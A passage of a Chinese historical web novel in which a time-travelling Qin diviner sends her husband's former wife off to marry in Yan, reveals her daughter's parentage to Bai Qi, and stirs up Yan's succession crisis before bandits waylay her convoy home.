嬴华并不知道孟氏一事原委,认为孟氏收公孙衍的贿赂,与魏勾结,是孟氏之罪,并不该牵连季孟,不仅如此,他也未将楚越斩草除根的话放在心上,以为她不过嘴上一说。 楚越反问,嬴华还信誓旦旦。 “你不是那样的人!” 楚越被他气的笑了,以手掩面。 一上来就将她捧到道德高地,也不知是真的全然不知,将她当做完人,还是什么出其不意的攻心招数。 莫不是有人给他出了主意?张仪吗还是智囊嬴疾? 楚越:“” 燕王禅位的消息,震惊列国,满室议论中,楚越抬眸,平静的注视前方,心中已经有了决断。 就将季孟嫁去燕国吧。她想。 楚越松了口。 “齐国是东方的大国,当今唯一能与秦国争雄的大国,秦国要争取燕国,作为牵制齐国的存在。但燕王要禅让,是燕国内政,秦国不能干涉,送嫁,是个很好的理由。” “经此一事之后,她不再是叛臣之后,而是为秦的功臣,她还是秦人,燕国也会看在秦的份上,善待她。” 楚越擦掉珠珠飞流直下三千尺的口水,耐心同嬴华解释道。 一千公里,就算复仇也要花些心力。 嬴华却道:“燕国苦寒,还是中原之地好些。” 楚越最后一丝耐心也被耗尽,大怒:“既然你如此在意季孟,就将她留下好了,我走!” “用人朝前,不用人弃若敝屣,哪有这样的道理。” 人在无语的时候,不仅会笑,还会骂人,“滚!” 她和嬴华大吵一架,搬回了自己的府邸。 王命如山,楚越以为这次,嬴华总没话说了,但他看着自己,欲言又止,一股无名的怒火,陡然冒了上来。 “你再说我就杀了她!” “你真要去燕国?” 两人同时开口,一道声音大,一道声音小,一个气势汹汹,一个欲言又止,两个人,在说两件事。 听清对方的话,楚越一愣,悻悻收回目光,低头看向怀中珠珠,缓解尴尬。 嬴华抿唇,深吸口气道:“燕王要禅位给丞相子之,太子平一定不会坐以待毙,燕国国中,各方势力混杂,你现在去,太过危险。” 楚越认真道:“就是因为国内环境复杂,所以才要亲自去看。” 燕国的事情,列国都看在眼中,秦庭也在对此事征讨不休,究竟是支持子之,还是支持太子平,嬴驷一时难以决断。 当年给自己设置的占卜距离限制,回旋打到了脸上。 略疼。 “太危险了,我和你一起去。” 楚越抬头,严肃道:“你跟着我干什么?你去了,秦国讨伐义渠,谁来领兵?当日李帛城下之败,谁来雪洗?” 嬴华:“” “你怎么回事,怎么老要跟在我身后。” 嬴华:“” 外间诙的声音,吸引楚越注意力。 “你们是什么人?” 楚越走出去,几个家丁,抬着几口大箱子,被诙拦在院外。 “我让他们来的。”嬴华的声音,从身后传来,楚越回首,嬴华上前,走到她身边,站在廊上,理直气壮,指挥起她的门客。 “把我的东西也搬进去。” “你做什么?”楚越呵止众人,“这是我的府邸,我的门客。” “妻者,齐也。你的门客,就是我的门客,我是你丈夫,我和你住在一起有什么不对?你去哪儿,我就去哪儿!” 楚越:“” 大 箱子逐一被打开,屋中陡然为之一亮,黄金,好多的黄金,前两口大箱子里,满满垒着方形金版爰,难怪一口箱子,要四个人抬,后面的箱子里,放着竹简、文书。 只是这么多金银财物,不像是搬家,像是来贿赂她的。 “这是什么?” “搬家,当然搬的家当,你把它都收起来。” “我?” 嬴华看向她,“不是你收起来谁收起来?” 秦汉之际,妇人掌管家中财务,嬴华的银行卡,就这么放到了她面前。钱到面前,岂有不收之理。 “诙,婼。” 两人入内,也被屋中忽然冒出来的两大箱黄金吓了一跳,楚越上前,捡起一份文书看了看,是土地的契书,看来不止银行卡放这儿了,不动产证书也在这儿了。 楚越将文书丢进箱子里,用下巴指了指几口箱子,“搬走,逐一清点,然后报给我。” “是。” 最后一口箱子打开,里面放着嬴华的衣物,婼见状,命人将它搬到内室放起来。 内室与各处都不同,铺了大块的麻筵,也没有放置几案一类带尖角的陈设,目的就是为了让珠珠能够安全的跑来抛弃。 大胖丫头精力充沛,时常玩到半夜不睡,楚越、婼和魏和轮流陪着她,偶尔楚越太困,闭上眼睛一觉睡过去,等她再醒来,手中毛茸茸的,小虎蜷缩成一团,睡在她身边。 月至正空,珠珠还精神的在屋子里爬来爬去,玩的高兴。 又不考研,这么能熬夜干什么? 珠珠是个健康的孩子,能吃能睡,长得快,个头也高,精力充沛,对周围一切都怀着极高的兴趣。 养这样一个孩子,哪怕有很多人帮忙,也耗尽了楚越的力气,偶尔,她会感到后悔,为什么要生这样一个磨人的小鬼,可等珠珠将小脸贴在她胸口,扭来扭去的撒娇,她的心又软下来,真是个可爱的孩子。 滤镜这个东西,是客观存在的。 某位不知名网友离线提问:你看,我的崽能当童模吗? 不玻璃心,不说好听的话,不会专门打击报复。 楚越与嬴华两人各坐屋中一端,珠珠咯咯笑着,在两人之间跑来跑去,十几个来回一跑,就气喘吁吁,揉起眼睛,楚越抱着她,她靠在楚越怀中,目不转睛盯着嬴华手中跳动的傀儡木偶。 看着看着,她便沉沉睡去。 楚越也困了,头一沾枕头就着。 一觉到天亮,又得王后传召入宫,魏冉和嬴缃的婚事敲定,楚越作为堂嫂,理当参与婚礼筹备工作,她带着珠珠入宫,嬴华去了军中,巡视今年练兵情况。 季孟出嫁燕国一事,楚越则将它交给了诙与孟守,她毕竟是因为秦国出嫁,嬴驷也出了一部分资。 楚越入宫,却发现众人都望着她,小声议论着些什么,用脚趾头想想,她都知道这些人一定是在议论她将季孟嫁往燕国的事情。 此事传开,必定会惹得议论纷纷。 嬴缃站起来,挽住楚越,她藏不住话,宽慰楚越道:“别理她们。” “放心。”楚越拍了拍她的手,拉着她坐下,“我敢做,当然敢当,更不怕别人议论。” “但是堂嫂,你真要将季孟夫人嫁出去吗?”她很意外,一旁嬴嘉也好奇望着她。 楚越应道:“当然,这样的事情,我还能胡言不成。” “他们都说你泼悍,燕燕的庄姜,是在丈夫、儿子都死后,才送妾室戴妫归国,我堂兄尚在,你却要将季孟另嫁燕国” 嬴缃还想说,却被嬴嘉轻轻碰了一下,示意她不要再说了。 “道听途说来的话,就不要说给堂嫂听了。” 嬴缃低头,‘哦’了声。 楚越莞尔一笑,“外人要是这样说我,那我实在是太可怜了。” 她叹口气,“季孟无子,休妻理所应当,我还能为她再找一门婚事,难道没有庄姜之德吗?孟氏要致我于死地,我却能放其弱女一条生路,这难道不是君子宽仁之德吗?若我泼悍,她现在早尸骨无存。” 这么善良的自己,还要被蛐蛐。 实在是命苦,苦的像是黄连。 芈夫人也很喜欢嬴缃这个弟妇,拿出了珍藏的首饰,嬴缃心想事成,脸上洋溢着幸福的笑容,楚越和嬴嘉瞧着她这模样,不免也笑了,为她感到由衷的开心。 嬴嘉冷不丁在楚越耳边道:“我要嫁去赵国了。” 楚越回头,愣了一下,秦赵不是同姓? 但再转念一想,赵国国中肯定还有他姓贵族,只是真比起来,还是王族好些,早年韩魏曾向嬴嘉求婚,被她拒绝了。 按照历代的国情,好东西,总得下手为强,迟一步,就让别人抢走了。 “白起不愿意娶我,好的夫婿,也都被别人挑走了,但是我不后悔。”嬴嘉莞尔一笑,“即便重来,我还是会这么选。” 她说的坦然。 “如果是堂嫂,也不会后悔吧。” 楚越听出嬴嘉话中有话,后悔,后悔什么?后悔抛弃了白起,嫁给嬴华? 或许在嬴嘉看来,是她抛弃了白起,嫁给嬴华,同一件东西,有人苦苦追寻不可得,有人弃若敝屣,抛之脑后。 楚越莞尔一笑,“白起是公子白之后,也是嬴姓,同姓不婚。” 一听这话,嬴嘉脸色顿变,“这究竟是祖先神灵的意思,还是大司巫的意思?” 结束这门婚事的理由,当然不能是兄长包办,有损手足之情,也不能是白起拒绝,有损宗室颜面。 占卜的巫祝,拿出了不吉的占卜结果。 同姓生子不繁,不吉。 婚事,不可成。 第57章 珠珠的身世白起还是知道了 “当然是祖先神灵的意思。”楚越道。 嬴嘉冷笑声,“是吗?神灵祖先如何说,难道不是巫祝转述,其中真相,谁人得知。我不知神灵祖先之意,却晓得堂嫂的心。” “哦?我的心思?” “孟氏有什么叛国的理由?难道不是砍树前,先去其枝叶?堂嫂既然已经得到自己想要的,又何必再贪心。” 楚越看了周围人一眼,众人的注意力都在嬴缃身上,并无人注意到小声低语的他们,她索性直接将话挑明,抬头直视嬴嘉。 “我为什么不能贪心?我又不是要列国天下,不要夏商九鼎,更不要富可敌国、权倾朝野,我只是要秦国有我的容身之地,要我所爱之人能和我长相厮守。” “那话就是我的意思又怎样?你愿意,能说服兄长,可你问过白起吗?难道你要白起自己拒绝,让宗室的脸面扫地才肯善罢甘休吗?” “你怎么知道他不愿意?”嬴嘉不甘心。 同样都是一厢情愿,但嬴缃却能得偿所愿,喜悦的气氛,放大了嬴嘉心中的酸涩,她满腹怨气,积压得快要爆发。 楚越站起身,伸手去拉嬴嘉,嬴嘉不理她,楚越弯腰,径直将她拽了起来。 “走。” 她笑着对众人道:“王后,此处人多,我与嬴嘉带珠珠出去走走。” 王后点头,“好。” 楚越一手抱着珠珠,另一手拽着嬴嘉,两人出了北宫,沿着复道,一路往前。魏冉带着禁军,迎面而来,楚越甩开嬴嘉的手,拦住魏冉。 魏冉抱拳,“大司巫,公孙。” “让白起过来。” 魏冉愣了一下,看向楚越,眼中满是震惊,他扫了一眼嬴嘉,又望向楚越,确认她是真要这么做,短暂犹豫后,还是道:“是。” 宫墙巍峨,楚越站在城墙投下的阴影中,远眺远处交谈的白起与嬴嘉,魏冉低头,哄着她怀中的珠珠,他一会儿做个鬼脸,一会儿吐长舌头,把大胖丫头哄得咯咯大笑。 嬴嘉哭着跑开,留下白起在原地。 楚越丢下一句‘别跟着我’,便抱着珠珠上前。 魏冉想要阻拦,楚越却早料到他要阻拦,将身一闪,敏捷躲了过去,魏冉‘哎’了声 ,一时情急,竟然条件反射,伸手去拉她手臂,他的手擦着楚越的衣袖而过,又触电般缩了回来。 楚越回首,魏冉惶恐举起双手,示意自己没有碰到,她这才继续往前。 听见脚步声,白起抬头,却是楚越,她怀中还抱着孩子。 “夫人,公孙。”白起抱拳,向二人行礼。 楚越将怀中珠珠递了过去,“你抱抱她,白起。” “末将不敢。” “你抱抱她。” 白起拗不过出楚越,只得接过珠珠,两双黑色的眼睛相视,珠珠好奇的伸手,要去扣那双和自己相似的眼睛,白起侧首躲过,珠珠锲而不舍。 她一开心,手脚就一起舞动起来,见状有力的小腿,用力蹬在白起胸口,他被踹得闷哼了一声,反手将怀中大鲤鱼翻了个面。 他小的时候,抱过妹妹,现在也没有忘记,抱着珠珠的手,一点没有嬴华的手足无措和小心翼翼。 “我听都尉说,你准备告假归家,去成婚?” “是。”白起低头,避开楚越的视线,他不敢再看她,生怕再多看一眼,就会再度动摇,“父母一直催促。” “你不敢看我,那你就看看怀中的孩子,你看看她的眼睛。” 白起似乎听明白了什么,抬眸看了一眼楚越,又低头端详怀中珠珠的眼睛,两双深黑的眼睛对视,他脸上的神情,渐渐变得复杂起来,白起猝然抬头,看向楚越的视线困惑、焦急,又带着几分不可置信的询问。 楚越没有回答,而是从他怀中接过了珠珠,垂眸道:“成婚是人之大事,你也的确不能一直不成婚,你若成婚,我定会送上一份厚礼。” 白起急了,“楚越。” “我有不得不嫁的原因,外臣想要在秦国立下根基,并不容易,氏族、老臣,因为相近的血缘、姻亲,结成坚固的同盟,势单力薄的外臣,必须抓住一切可以立足的机会,才能存活。孟氏拉拢你,许诺婚事,也是同样的道理。” “你既然无法违逆父母之意,我自然也不能阻拦。”楚越盯着白起的眼睛,一字一句道,“你有你的难处,我理解你。” 她不能放弃白起,不仅仅是因为感情。 当然不能,白起未来可是秦国的武安君。 昭襄王继位不久,严君嬴疾病逝,宗室彻底势微,外戚魏冉当政,四贵掌权,到时候秦国还有没有她这个寡妇的位置,不好说。 杀人娶嫡的事情,能做一次,当然也能做第二次,公孙又怎样?可是楚越听孟守说,白起要娶的这人不简单,是故人托付,得知这消息,楚越心中警铃大作。 巫祝之言,的确她授意,是为了防患于未然,她不想与嬴嘉为敌,也不想和自己天然的盟友——宗室对立。 这故人之妻的出现,比嬴嘉更为棘手,白起,是个重情义的人,否则不会娶她,自己将来杀她,两人必然起冲突。 一番思索之下,楚越觉得白起最好还是不要娶,以免将来多生事端,有伤两人之间的情谊。 “你看出她的眼睛长得像谁了吗?” 白起又低头看了一眼楚越怀中珠珠的眼睛,抬眸对上楚越的视线。 夕阳斜照,她的眼瞳在阳光下,颜色渐渐变浅,伪装干涸,野心就如搁浅的鱼一样,在滩涂跳动。白起深黑的瞳眸,依旧平静无澜,他望着她,和她眼中跳动的算计,在极短的瞬间,想清了自己的命运。 被现实磨光棱角的少年心气,重新迸发。 “不娶了。”他道。 楚越眼中浮出一抹得意的笑,白起抬眸,将这一切尽收眼底,无奈叹气。 “楚越!”魏冉压低了声音喊道,眼看有人要过来,他急的团团转,真是皇帝不急,那什么急。 楚越在北宫前,找到等在宫前的嬴嘉,她的情绪已经完全释放,楚越走上前,在途径她身边时,随口一句,“走吧。” 嬴嘉跟在她身后,低头沉默片刻,到底开口,向楚越致歉。 “对不起。” “你没有对不起我。”楚越淡淡道,“你的话,没说错。” 嬴嘉还想说什么,两人已经走到了殿前,她只得将未说完的话,咽下腹中。 婚礼诸事繁琐,幸而宗室女眷都在,分工协作,有条不紊,楚越孩子尚幼,王后只是让她和嬴嘉一道,陪伴新娘。 傍晚时分,她才回到家中,嬴华迎出门,接过楚越怀中的珠珠,“疱人已经备好了晚膳,先用膳吧。” 楚越在门外脱掉鞋履,“是吗,今天做什么好吃的了?” “都是你喜欢吃的。” 侍女捧着各色菜肴鱼贯而入,珠珠闻见香味,‘啊’的开心叫了起来,嬴华冲她笑笑,抱着她坐下,楚越端了碗勺,耐心喂给她。 喂了几口,魏和上前道:“夫人,奴婢来吧。” 楚越将珠珠交给魏和,拿起筷子,桌上菜色,果然都很符合她的口味,饭菜固然可口,但不知怎么,楚越的心情忽的凝重起来。 心情一不好,胃口也不好了,楚越不过随便应付了两口,便丢下了筷子。 饭菜撤去,楚越命人取来琴,开始给自己的大胖丫头培养起艺术细菌,只是她的音乐细菌也不多,翻来覆去,就那几首曲子,珠珠听多了,楚越再一弹,她就捂起了耳朵。 嗯? 楚越一把抓住她的小胳膊,“你什么意思?” 嬴华没忍住,笑出了声,“嫌你弹得难听。” “嗯?”楚越回头,瞪向嬴华。 “来,我来演奏一曲。”说着,嬴华挪到了楚越跟前,楚越不让,他笑着将她推开,自己坐到了琴前。 捂耳朵的人,从一个,变成了两个。 “住手!你弹得比我还难听。”楚越按住了桌案上尚且颤动的琴弦,就要赶嬴华走,嬴华不走,侧首望向她,“说什么呢,明明是你弹得更难听。” “是你!” “是你!” 两人互不相让,楚越蛮横的伸手去推嬴华,想要将他推开,嬴华不让,两人推来推去,珠珠以为两人在做游戏,笑着拍起掌。楚越不甘示弱,越推,力气用的越大,一定非要将对方推出去不可。 谁料嬴华忽然收力,她就这么扑了出去,一切猝不及防,又似乎在意料之中,她失去重心,身体不住前倾,撞进一个硬邦邦的胸膛,楚越取胜心强,力气用的也大,这陡然一撞,撞得她眼前一黑,被撞的嬴华也闷哼一声。 魏和见状,抱起珠珠,走了出去。 世界一瞬安静下来,楚越靠在嬴华怀中,他也就这么静默不动,美好总是转瞬而逝,眼前很快恢复清明,楚越坐了起来,气恼望着嬴华,抬手就照着他胸口来了一拳。 “弹得难听死了,还不许人说。” 嬴华垂眸望着她,“哦,现在嫌我弹得难听,那你当时为什么非要跟着我学。” 楚越不说话了。 嬴华望着她,起身从架子上取下一个木盒,打开一看,里面是一双金臂钏与许多金环。 楚越困惑蹙眉,他到底有多少金子? 金环像不要钱一样,复制粘贴,摆在她面前。 “不是都给我了吗?你还私藏?” “什么私藏,这不是工匠才打造好,打好了就立刻给你拿过来了。” “你将这些首饰戴好,将来要是出了什么事情,也可以应急。” “我能出什么事情。”楚越漫不经心道。 嬴华低头,拉过她的手,将那一串手镯,挨个为她戴上。 “之前的钱,是你送的?” 楚越抬起眼皮,望向眼前低头为她戴金环的男子。 “不然呢?你以为是谁?” “我以为是公子繇呢。” “哼。”嬴华冷笑声,“他当时只想一文不带来投奔你,花你的钱。” “那不行!” 嬴华逐一为她戴上金环,堆叠金环叮当作响,他冷不丁道: “若有一日你想离开秦国了,这些金饰便是途中花费,他国异乡,无依无靠,有些钱财傍身总比没有好。” “你怎么知道我要离开秦国?” 嬴华看向她,反问道:“那你去燕国做什么?不是为了躲着我吗?” 楚越不说话了。 “你看。”嬴华见她沉默,更确定了自己所想。 楚越蹙眉,要生气的样子。 嬴华冷笑声,“说到你心里想的,你就不说话了,再说,你就要生气了。你这脾气,这么多年是一点没变。” 楚越垂眸,“是又怎样?” 反正,气了也有人哄,而且她生气,那究竟为了什么啊?因为她爱生气吗? 第58章 燕国遇到敌蜜了 这样想着,她火气又上来了,“谁要离开秦国?我为什么要离开秦国?我才不会离开秦国。你赶我走我也不走!” 见她又生气,嬴华无奈,“我什么时候要赶你走了?” 楚越冷笑声,“今日我送季孟,焉知明日被送嫁他国的不会是我,兔死狐悲,感伤其类,唇亡齿寒,嗟怀叹息罢了。” “你无理取闹!” “你到底要怎么样?我送走了,你还跟我生气?我要是留下她,你岂非要杀了我。”嬴华的声音高了两分,话一出口,他又似乎想起了什么,冷笑声,“是,你不是希望我死吗?” “我死了,你好改嫁是吧!” 这话戳到了楚越某根敏感的神经,狠狠瞪向他,“你说什么?” 从吵架,到打起来,只在楚越一念之间,她抓起手边的东西,用力朝嬴华砸去,这才是真的生气,根本不给对方还嘴的机会。 自从提高了武力值,且没有法律的约束。 楚越已经在暴力倾向的路上,一去不复返。 嬴华躲闪连连,楚越砸完了手边的东西,还不解气,又接连锤了他几拳,嬴华被她锤痛,不得不抓住了他的手腕。“你做什么!” “分明是你的错,现在她们都说我泼悍,我泼悍吗?我没杀她,是她要杀我!我本来和她无冤无仇,都是因为你!” “我的错,我的错!”嬴华没好气道:“那你也要给犯错之人一个机会啊?我又不是犯了什么十恶不赦之罪,现在季孟也已经安置妥当,我向你保证,以后绝不多看别的女子一眼,哦不,半眼。” 楚越手上的动作慢慢停了下来,嬴华望着她,她嫌恶的转过头,用力抽回手,“放开!” 她背过身,不去看他,嬴华叹口气,轻声道:“楚越。” 对方没有回答,两人一时陷入了沉默,良久,楚越转过来,对嬴华道:“你别打仗了。” 嬴华一时也愣住了,“你说什么?” “我说你以后不要打仗了,嬴华,你能明白我在说什么的,是吗?” 楚越望着嬴华的眼睛,目光坚定。 明白,他当然明白楚越在说什么。 从巴蜀归来之后,嬴华注意力全放在楚越身上,以至于他都快忘记自己的命运,和那场即将到来,要夺走他性命的战争。 前世他带伤出征,血尽而亡,这一世,又会如何呢? “我厌倦战争了,也厌倦列国纷争,从燕国回来之后,我便会慢慢淡出军中,转向宗庙与朝堂,安心抚养珠珠长大。”楚越坐正,理了理被弄皱的衣袖。 打仗从来不是她愿意去做的事情,只是转行的跳板,现在,经过数十年征战,她的基础已经打的差不多,是时候转文职了。 她不喜欢杀人,兵器刺入敌人的胸膛,取掉对方的性命只需要一瞬,但恐惧永不会散去,如影随形。 这么简单就杀死了一个人,是否也意味着,有一天她或许也会这么轻而易举,被别人杀掉。 这世上唯一真正公平,就是死,所有人都会死,死了就什么也没有了。 “你打仗,我就会担心,我不愿意过这样提心吊胆的生活,你要愿意远离战争,我们才能继续下去的可能。” “你如果非要去打仗,一旦你遭遇不测,我怎么办?” 史书浩瀚,并未记载嬴华卒年,起初,楚越以为他或许是死在某场秦国严重失利,失利到中高级将领都阵亡的惨败,后来她接触了战争,才知道即便战争胜利,也会有很大的伤亡,依旧会有中高级将领死去。 嬴华凝视她良久,楚越也望着她,良久,她听嬴华清晰吐出一句。 “你真的在等我死,要去改嫁是吧!” “嬴华!” 此番交谈无疾而终,之后几日,两人相互不理,一直到季孟出嫁前夕,嬴华才对她道:“你真要去?” “我必须去看看。” 不把距离bug补起来,她怕秦王不信。 楚越以送嫁之名,启程前往燕国,临行之前,嬴华一再叮嘱道:“一旦有变,就亮出符节,说明身份,燕国人必定不敢动你。见机而行,该跑就跑,不然就去齐国,陈轸认识你,一定会施以援手。” “嗯。”楚越点头。 马车一路往北,气候逐渐变得寒冷起来,进入燕国之后,天空下起雪来,楚越伸手,一小片雪花落在掌心,很快融化。 燕国迎亲的队伍,出现在楚越视线之中,但队伍两侧兵马雄壮,旃旗迎风飘扬,见此,楚越微微挑眉,看来王位的诱惑力是真的大。 新郎跟在一青年身后,衣着华贵。 “不知来者何人?”诙上前问道。 “燕国太子平。” 楚越闻言,上前见礼,“秦国大司巫楚越,见过燕太子。不知燕太子为何来此?” “久闻秦大司巫之名,以女子之身,辅佐君王,丝毫不逊色于男子,乃女中君子,有卫庄姜之美、之德,” 会夸。 太会夸了。 卫国庄姜,那可是大美人中的大美人,‘手如柔夷,齿若编贝’,燕太子不仅夸了她的外在美,还夸了她的能力与内在品德修养。 虽然这些年恭维之词听了不少,耳朵都要起茧子了,但这些话,楚越每次听,都觉得十分心旷神怡,嘴角止不住的上扬。 “太子谬赞,在下不敢当。” “哎,大司巫不必谦虚,小子[1]如今一见,方知传言不虚。” 几番客套之后,新郎才上前,向楚越行礼,“见过大司巫。” 楚越还礼,“臧将军不必多礼。” 臧氏是燕地大族,臧氏世为燕将,臧沉年过不惑,发妻亡故,留下偌大的家宅无人打理,急需续娶一位贵族女子,为贤内助。 高薪继聘一位职业经理人,只看能力,出身、家世、年纪,都可以放宽。 打理家事,季孟还是很专业的。 吉日未到,楚越带着季孟,先在馆驿落脚。上午见过燕太子,傍晚时分,又有使者敲开了馆驿的大门,木箱逐一打开,露出里面的金银。 “国相得知大司巫来燕,特命在下,略备薄礼,前来拜见。” 燕国国相子之,燕国如今的掌权人。 “有劳国相记挂,我为送嫁而来,顺道探望王后,并无他意。” “原来如此。” 婚礼有条不紊的进行,馆驿将楚越抵秦的消息上报王后,次日,王后便召见她,只是楚越没想到,季孟也在殿中,她与王后并席而坐,十分亲密的样子。 楚越心中顿时咯噔一下。 坏了。 她来秦晚,对秦国之前之事,不太了解,季孟与燕王后自小在秦国长大,一个是公主,一个是大族之女,说不准就是好姐妹。 哦,自信点,就是好闺蜜。 自己这是鸡给黄鼠狼拜年,羊入虎口来了。 好消息,楚越终于见到了自己此行的目标人物,燕国王后,坏消息,是敌蜜。 敌人的闺蜜,简称敌蜜。 楚越硬着头皮,向王后行礼,“臣,秦国大司巫楚越,拜见王后。” 燕王后并未让她起身,而是倨傲道:“抬起头来。” 楚越抬头,燕王后上下打量她一眼。 “你就是我弟弟娶的新夫人,也不过如此。”燕王后轻蔑道,“长相一般,出身不好,品行嘛毫无妇人柔顺之德,善妒成性。也不知用了什么手段,让我那蠢弟弟竟然为了你,抛弃季孟。” 这话有 些许刺耳。 楚越抬眸,燕王后正紧紧拉着季孟的手,无奈轻叹口气。 好姐妹,手拉手,多么令人感动的友情。 如果不是为难她就好了。 楚越微微一笑,人在屋檐下,不得不低头,她只得道:“王后所言甚是。” 燕王后拉着季孟,有说有笑,将楚越晾在一边。 冷暴力,这是冷暴力。 不。 霸凌,这是赤裸裸的霸凌。 燕王后没有释放善意,楚越也不会自找没趣,她什么也没说,略停留了一会儿,便起身行礼,先行离去。原定的计划,因为一些原因,出了偏差,楚越一边走,一边在心中盘算,该如何将计划拉回来。 随同楚越入宫的辛为她抱不平,愤愤道:“就该杀了那个女人!” “现在后悔已经没有用了,我们现在人在燕国,这是她们的地方,有燕王后,她有了靠山,就由不得我们说了算了。” “我去杀了她?” 楚越脸色一变,蹙眉看向辛,“杀了她,你还能回去吗?” “回不去就回不去,回不去也不能让你被人欺负了。”辛道,“她们肯定会一直欺负咱们的,就让她们这么欺负吗?” “那肯定不会,既然不识好歹,就要给她几分颜色看看,王后以为她是秦国的公主,秦王的姊妹,秦国会理所应当支持她和她的公子职,如此痴梦,还是尽早醒来的好。” 楚越回到馆驿,诙已经将燕国国都的情况打听清楚,燕王要禅位给丞相子之,宗室大臣反对,燕王见状,曲线救国,将国中三百石以上官员任免大权,全交给了之子,燕王老迈,子之南面称孤。 反对子之的人,聚拢在太子平身边。 双方矛盾,已经一触即发。 楚越听诙说完,望着窗外鹅毛大雪,若有所思,她想了想,“如此大雪,烈火想要烧起来,一时怕不容易,可是没有火,这么冷,你我要怎么取暖?是时候,火上浇油了。” 子之想要称王,列国的意见很重要,太子平目前的实力,不如子之,要想夺回大权,也只能借助外部力量。作为西方大国,又挟持三晋的秦国的态度,就变得十分重要。 燕太子与相国子之都曾派人送她礼物,正所谓礼尚往来,楚越也准备了回礼,一一回赠,双方见她回礼,又派遣使者,前来试探。 楚越给两边使者都‘暗送秋波’,使者以为有门,当即回禀燕太子与子之,两人见状,亲自接见了楚越。 “秦国与燕国历来交好,贵国王后,乃我秦王姊妹,我王无意插手贵国内政,只是担心两国盟约与秦公主安危,故而派遣在下为暗使,前来燕国,只要秦燕盟好大政不变,公主无碍,秦国,不会插手他国内政。” “秦国与燕国历来交好,贵国王后,乃是秦王姊妹,我王十分在意姻国之事,故而派遣在下为暗使,前来燕国,一为王后,二便是太子,太子乃是燕国正统,以臣代君,实乃不义,秦国定然不会袖手旁观。” 一模一样的说辞,换来两份一模一样的国书—— 燕国国君候选人一号、二号,都做出承诺,只要秦国支持自己登上王位,燕国愿意和秦国继续保持友好关系。 见人说人话,见鬼说鬼话,挑拨离间,火上加油。 她真是越来越坏了。 盟约一签,大家就都是好朋友,王后没有设宴招待楚越的打算,子之夫人与太子妇却先后设宴,款待楚越。 燕王后拉着季孟的手,开心出席,在看见楚越后,脸色顿变,王后怒道:“谁让她来的?” “大司巫乃是秦国重臣,男女有别,夫君不能设宴款待,命我代为招待。”子之夫人道。 太子妇也道:“秦公子夫人来燕,燕国理当待若上宾。” 燕王已经不理朝政日久,权威日衰,王后,也不过空有其名,相国夫人与太子妇争相示好,与会众夫人也不是傻子,纷纷上前恭维逢迎,反观王后与季孟处,一片萧瑟冷寂。 权柄在何处,人中的中心就在何处。 见此,即便顽固如燕王后,也看清了局势,秦国是她的母国,但母国去国千里,国中,也早不是她在时场景,燕国,也即将没有她的容身之地。 她不得不屈尊降贵,派人来向楚越示好,楚越接过宫人捧上的一樽酒,望向上首王后,王后已经举杯,勉为其难,遥遥对她一笑。 “小童敬弟妇。” 原来高傲的人,脖子也没有想象中那么硬,还是会低下。 楚越笑了下,举杯道:“谢王后。” 第59章 劫匪劫匪一波接一波 楚越并未在燕国多做停留,她走她的,全然不管身后洪水滔天,子之最好和太子平早点打起来,吸引齐国火力和列国瞩目,秦国便可以趁此,平定义渠。 但燕王后毕竟是秦国公主,公子职的生母,将来秦燕之好,还需要她来维系,楚越将孟守留在了燕国。 “我料到燕国必有大乱,你留下来,保护王后,将来燕国大乱平定,王后必定感念于你。” “届时不管是你想回秦国,还是留在燕国,都比现在要好,你放心吧,你父亲迷途知返,我不会为难他。” 孟守看了一眼婼,有些犹豫,但这犹豫,不过一瞬,他很快就接受了楚越的建议与安排,“谢主公。” 婼瞪了孟守一眼,孟守垂首不语。 “你先出去,婼留下。” 屋中只剩两人,楚越才对婼解释道: “他毕竟是孟氏,我没有那么宽广的心胸,敢留他在身边,并委以重用。当时他投入我门下,我收他为门客,都不过权宜之计,他若继续留在我门下,我无重任委托,他郁郁不得志,长此以往,必生怨恨。” 秦律,任人不善也是大罪。 举荐谁,举荐人就要对被举荐人负连带责任。 楚越不信任孟守。 “既然如此,不如将他留在燕国,季孟孤立无援,必定需要人襄助,他姐弟二人,可以保护王后。” “婼,我不希望你留在燕国,大乱将起,此处太过危险,燕王后、季孟又与我有隙,但你要留下来,我也会为你想办法。” 楚越对婼道。 婼摇头,“我是秦人,我要回去。” “你会怨我拆散了你们吗?但我的确不能留他在身边。” 孟守是孟氏,原本,他可以在孟氏隐蔽下,畅通无阻,之所以与家族决裂,不过为免受孟氏牵连。 这样的人,只能结一时之盟,利散了,盟约就散了。 “我怨你做什么?我跟着你,是想做一名真正的巫,又不是为了找一个夫婿,而且,是他抛弃我,留在燕国,是他的错。” 楚越拉住婼的手,“你能这样想,当然最好。你跟着我也有一段时日,童巫识字两百,便可进阶,你如今认得字已经够多,我会和宗祝说,允你入官学继续学习占卜。” “真的?”婼眼前一亮。 她很想成为巫,像楚越这样的大巫。 燕王后不喜欢楚越,楚越也未与她辞别,原本,她是想与王后商议,有备无患,奈何王后意气用事,既然如此,她便不多说了。 留下孟守,楚越思虑再三,又留下了大半护卫,做完这一切,她便立刻启程,多留一刻,就多一刻危险。 果不其然,车驾还未出燕国国境,太子平便起兵攻打子之,子之势大,太子平不敌,仓惶逃出国都。燕国内乱,与邻几国,望风而动,陈兵边境。 楚越怕列国有人浑水摸鱼,命人收起旗帜,更换衣着,伪装成商贾车队,往秦方向而去。 马车忽然停了,楚越掀开帘子一看,车前堆着半棵枯树,她下意识往两边看了一眼,两侧地势高,中间一线,这是个打埋伏的好地方。 “要小心。”楚越叮嘱道。 诙毕竟混迹沙场多年,也注意到了这一点,“是,主公。” 楚越翻出匕首,递给婼,“一会儿出了事,不要动,在车里待着就好。” 说完,她提剑跳下车。 两个护卫上前清理道路,他们刚弯下腰,便有人从两侧山坡冲下来。 诙立刻后退一步,挡在楚越身前,“夫人小心。” 楚越按下诙的手,上下打量来人,对方虽然人多,约有五十余人,远超他们的人数,但衣衫褴褛,队形稀疏,一看就是没受过训练,不是正规军,应该是寻常盗匪。 “打劫!”为首的人见车队主人是个女子,趾高气昂道,“把值钱的 东西都” 楚越急于归秦,径直打断了对方的话:“把你们手里的东西放下,让我们过去,饶你们不死。” 劫匪一愣,“哎,你说的这是我的词啊!” 双方互不相让,冲突一触即发,就在双方剑拔弩张之际,忽听马蹄阵阵,一队全副武装的士卒,杀将出来,将两方人马团团围住。 骑在马上的校尉用鞭子指着众人,凶狠道:“放下武器!全部放下!” 诙看向楚越,楚越点头,诙对护卫们道:“都放下。” 领兵的是个青年将领,但从盔甲材质与工艺,楚越便看出此人身份不凡,她没有说话,而令诙上前答谢。 